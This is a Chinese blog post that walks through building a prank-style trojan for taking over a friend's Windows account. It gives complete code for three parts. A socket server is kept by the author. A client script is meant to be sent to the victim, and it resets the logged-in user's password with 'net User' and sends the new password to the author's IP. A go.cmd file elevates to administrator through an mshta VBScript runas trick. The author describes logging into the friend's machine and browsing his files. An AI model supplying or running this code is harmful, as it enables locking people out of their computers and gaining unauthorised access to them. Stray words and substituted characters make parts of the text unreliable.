这是我参与8月更文挑战的第6天,活动详情查看:8月更文挑战”python
PS:最后的最后我啥都没动改回去了! 仅供学习技术交流!切勿违法违纪!本人不承担一切后果!编程
开发环境:win10+python3.7windows
开发工具:pycharmmarkdown
一想到远程,就想到建立链接,一想到建立连接,就想到socket套接字(一想到套接字,就联想到我没有男盆友)dom
分别为三个知识点:socket
1.socket远程链接工具
2.建立客服端和服务端post
3.管理员权限运行代码学习
我们今天是学习修改电脑密码和远程修改小伙伴的密码,若是有哪里解析很差,欢迎大佬指点一下。开发工具
该项目代码为3份(记住本身拿的是服务端的代码,客服端代码和go.cmd是发给别人的)
首先正常建立服务端:
建立套接字
绑定ip端口
设置监听
等待链接
接收数据打印数据
关闭链接
import socket # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 建立socket
server.bind(('192.168.246.1', 44444)) # 绑定IP/端口
server.listen(5) # 监听
print('***********等待链接*********')
conn, addr = server.accept() # 链接
print(conn)
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()
复制代码
windows的修改电脑密码的命令:net User 用户名 修改的密码(能够本身动手试一下)
在提醒一遍,记住服务端是咱们本身拿着的哈,别傻乎乎的发给对方了哦!
接下来就写发给小伙伴的客户端:
链接服务端的IP和端口
获取当前使用的电脑帐户名
生成随机的电脑密码
在终端执行修改Windows密码的指令
发送修改以后的密码
关闭套接字
import socket # 导入用到的模块
import getpass
import subprocess
import random
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 建立socket实例
client.connect((ip, 端口)) # 链接server端IP地址/端口按你本身实际状况来
user = getpass.getuser() # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd]) # 在本地执行(相似于cmd命令)
client.send(psd.encode('utf-8')) # 将密码发送给server端
back_msg = client.recv(1024)
client.close() # 关闭socket
复制代码
到这一步基本就能够本身去尝试了,嘿嘿,可是要注意,当前代码只能修改权限是admin的帐户。
非admin用户须要提升本身的执行权限,直接使用超级管理员权限执行cmd文件go.cmd
@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
start python client.py
复制代码
最后我修改密码成功登录,居然发现了他的密码!
难怪每次我和他斗图,我每次都斗不赢他,原来是背着我下了几千个表情包,我怎么就没有想到这个骚操做呢!!!
我是白又白i,一名喜欢分享知识的程序媛❤️
若是没有接触过编程这块的朋友看到这篇博客,发现不懂的或想要学习Python的,能够直接留言+私我鸭【很是感谢你的点赞、收藏、关注、评论,一键四连支持】